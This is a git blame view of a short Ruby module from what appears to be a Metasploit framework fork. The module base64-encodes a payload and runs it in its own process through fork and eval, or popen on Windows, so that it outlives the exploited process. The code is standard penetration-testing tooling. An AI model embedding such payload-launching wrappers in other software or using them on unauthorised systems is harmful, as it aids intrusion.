Files
metasploit-gs/lib/msf/core/payload/ruby.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

39 lines
877 B
Ruby
Raw Normal View History

# -*- coding: binary -*-
module Msf::Payload::Ruby
def initialize(info = {})
super(info)
register_advanced_options(
[
# Since space restrictions aren't really a problem, default this to
# true.
2016-03-15 18:35:32 -05:00
Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", true ])
]
)
end
def prepends(buf)
if datastore['PrependFork']
buf = %Q^
code = %(#{ Rex::Text.encode_base64(buf) }).unpack(%(m0)).first
if RUBY_PLATFORM =~ /mswin|mingw|win32/
inp = IO.popen(%(ruby), %(wb)) rescue nil
if inp
inp.write(code)
inp.close
end
else
if ! Process.fork()
eval(code) rescue nil
end
end
^.strip.split(/\n/).map{|line| line.strip}.join("\n")
end
buf
end
end